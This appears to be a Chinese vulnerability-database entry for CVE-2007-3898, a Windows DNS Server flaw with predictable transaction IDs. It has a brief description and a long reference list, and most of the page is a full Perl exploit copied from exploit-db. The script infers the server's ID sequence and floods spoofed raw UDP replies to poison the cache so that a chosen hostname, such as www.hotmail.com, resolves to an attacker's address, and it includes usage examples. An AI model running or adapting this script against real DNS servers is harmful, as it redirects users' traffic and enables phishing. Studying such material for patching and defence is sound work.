Microsoft Windows DNS欺骗漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113936 漏洞类型 配置错误
发布时间 2007-11-13 更新时间 2007-11-20
CVE编号 CVE-2007-3898 CNNVD-ID CNNVD-200711-183
漏洞平台 Windows CVSS评分 6.4
|漏洞来源
https://www.exploit-db.com/exploits/30636
https://www.securityfocus.com/bid/25919
https://cxsecurity.com/issue/WLB-2007110047
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200711-183
|漏洞详情
MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。Windows的DNS服务器实现上存在漏洞,远程攻击者可能利用此漏洞导致DNS欺骗。在向上游DNS服务器发送请求时Windows的DNS服务(dns.exe)使用了可预测的事件,攻击者执行DNS缓存破坏攻击。当DNS服务器执行递归查询的时候,攻击者就可以通过特制的DNS响应导致欺骗或者从合法位置重定向Internet流量。
|漏洞EXP
source: http://www.securityfocus.com/bid/25919/info
 
Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests.
 
A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing.

#!/usr/bin/perl

use strict;
use Net::DNS;
use Net::DNS::Nameserver;
use IO::Socket;
use Net::RawIP;

sub usage {
	print ("$0 is a program for DNS id spoofing.\n");
	print ("usage: $0 target tospoof ourzone port\n");
	print ("Example: $0 ns1.belbone.be www.hotmail.com .cache-poisoning.net 1025\n");
}

my($target, $tospoof, $ourzone, $query_port) = @ARGV;

$tospoof = "www.hotmail.com" unless($tospoof);
$ourzone = ".cache-poisoning.net" unless($ourzone);
$query_port = 53 unless($query_port);

if(!$target) {
	usage();
	die("You must specify target nameserver\n");
}

my($host, $domain) = split(/\./, $tospoof, 2);

my $client = IO::Socket::INET->new(PeerAddr => $target,
                                   PeerPort => 53,
                                   Proto   => "udp")
or die "Couldn't be a udp client on port 53 : $@\n";


my @nameservers = get_nameservers($domain);
#print join("\n",  @nameservers);
#exit;
cache_ns($client, $tospoof); # Make vitim cache ns record for name to spoof
my @ids = get_sequence($client, $ourzone);
my @replies = prepare_replies(\@nameservers, \@ids, $target, $tospoof);
send_request($client, $tospoof);
send_replies(@replies);

sub prepare_replies($$$$) {
	my($nameservers, $initial_ids, $target, $tospoof) = @_;

	my $totry = 500; # We will try 500 ids subsequent to the one we've got
	my $fakeip = "127.0.0.1"; # IP address that we want the target cache to believe in
	my @replies;

	for my $i (1..$totry) {
            for my $id (@$initial_ids) {
		my $dns_packet = Net::DNS::Packet->new($tospoof);
		$dns_packet->push("pre", rr_add($tospoof . " A " . $fakeip));
		$dns_packet->header->qr(1);
		$dns_packet->header->aa(1); # Authoritative
		$dns_packet->header->rd(1); # Recursion desired
		$dns_packet->header->ra(1); # Recursion available
		$dns_packet->header->id($id+$i);

		for my $nameserver(@$nameservers) {
			my $packet = new Net::RawIP({udp=>{}});
			$packet->set({ip=>{saddr=>$nameserver, daddr=>$target}, 
                                      udp=>{source=>53, dest=>$query_port, data=>$dns_packet->data()}
                                     });
			push @replies, $packet;
		}
            }
	}

	return @replies;
}

sub send_replies(@) {
	my @packets = @_;

	foreach my $packet(@packets) {
		$packet->send(0,2);
	}
}

sub send_request($$) {
	my($client, $tospoof) = @_;

	my $packet = Net::DNS::Packet->new($tospoof, "A");
	$client->send($packet->data()) or die "send: $!";
}

sub cache_ns($$) {
        my($client, $tospoof) = @_;
	my($host, $domain) = split(/\./, $tospoof, 2);

	my $packet = Net::DNS::Packet->new($domain, "NS");
        $client->send($packet->data()) or die "send: $!";
}

sub get_sequence($$) {
    my ($client, $ourzone) = @_;
    my $server = Net::DNS::Nameserver->new( LocalAddr => "0.0.0.0",
                                            LocalPort        => "53",
                                            ReplyHandler =>  \&reply_handler,
                                            Verbose          => 0
    ) || die;
    my @ids;
    for(my $i=0; $i<50; $i++) {
         my $packet = Net::DNS::Packet->new("id$i$$".$ourzone);
         $client->send($packet->data()) or warn "Failed sending packet: $!";
         #print STDERR "Request sent\n";

        ## Wait for request from target nameserver
         sub reply_handler {
             my ($qname, $qclass, $qtype, $peerhost, $query) = @_;
             my ($rcode, @ans, @auth, @add);

             die sprintf "ID %d\n", $query->header->id;

         };
         eval {
             $SIG{ALRM} = sub { die "timeout\n"; };
             alarm(2);
             $server->main_loop();
         };
         alarm(0);

         if ($@ =~ /^timeout/) {
              next;
         };

         unless ($@ =~ /^ID (\d+)/) { die $@; };
         my $id = $1;
         push @ids, $id;
    }
    my @seq = analyse_ids(@ids);
    return @seq;
}

sub analyse_ids {
    my @ids = @_;

    my @seq; # Keeps the last seen number in each sequence
    my $counter = 0;
    my $num_seq = 8; # total number of sequences we track
    my $max_diff = 500; # maximum difference between two subsequent ids in one sequence
    id: for my $id (@ids) {
         for my $i (0..$num_seq) {
             if(defined($seq[$i]) && $seq[$i]<$id && $seq[$i]+$max_diff>$id) {
             # We have already seen numbers from this sequence
                  $seq[$i] = $id; 
                  $counter++;
                  next id;
             }
             if(defined($seq[$i]) && $seq[$i]>65535/4-$max_diff && $id < $max_diff) {
             # Sequence has wrapped
                  $seq[$i] = $id;
                  $counter++;
                  next id;
             }
             if(!defined($seq[$i])) {
             # We have not seen this sequence, and there are still free sequence slots
                  $seq[$i] = $id;
                  $counter++;
                  next id;
             }
         }
         $counter++;
     }
     return @seq;
}

sub get_nameservers($) {
	my $domain = shift;

	my $res   = Net::DNS::Resolver->new;
  	my $query = $res->query($domain, "NS");
	my @nameservers;
  
  	if ($query) {
      		foreach my $rr (grep { $_->type eq 'NS' } $query->answer) {
                        my $server = $rr->nsdname;
          		push @nameservers, host_to_ip($server);
			# Windows always uses first nameserver if available
			return @nameservers;
      		}
  	}
	return(@nameservers);
}

sub host_to_ip($) {
    my $hostname = shift;

    my $ip = join(".", unpack("C4", ((gethostbyname($hostname))[4]) || return $_[0]));
    my $num = unpack("N", pack("C4", split(/\./, $ip)));
    return $num;
}
|受影响的产品
Microsoft Windows Server 2003 Web Edition SP2 Microsoft Windows Server 2003 Web Edition SP1 Microsoft Windows Server 2003 Web Edition Microsoft Windows Server 2003 Standard Edition SP2 M
|参考资料

来源:US-CERT
名称:TA07-317A
链接:http://www.us-cert.gov/cas/techalerts/TA07-317A.html
来源:US-CERT
名称:VU#484649
链接:http://www.kb.cert.org/vuls/id/484649
来源:BID
名称:25919
链接:http://www.securityfocus.com/bid/25919
来源:MS
名称:MS07-062
链接:http://www.microsoft.com/technet/security/bulletin/ms07-062.mspx
来源:SECUNIA
名称:27584
链接:http://secunia.com/advisories/27584
来源:XF
名称:win-dns-spoof-information-disclosure(36805)
链接:http://xforce.iss.net/xforce/xfdb/36805
来源:MISC
链接:http://www.trusteer.com/docs/windowsdns.html
来源:SECTRACK
名称:1018942
链接:http://www.securitytracker.com/id?1018942
来源:HP
名称:HPSBST02291
链接:http://www.securityfocus.com/archive/1/archive/1/484186/100/0/threaded
来源:BUGTRAQ
名称:20071114PredictableDNStransactionIDsinMicrosoftDNSServer
链接:http://www.securityfocus.com/archive/1/archive/1/483698/100/0/threaded
来源:BUGTRAQ
名称:20071113After6months-fixavailableforMicrosoftDNScachepoisoningattack
链接:http://www.securityfocus.com/archive/1/archive/1/483635/100/0/threaded
来源:MISC
链接:http://www.scanit.be/ad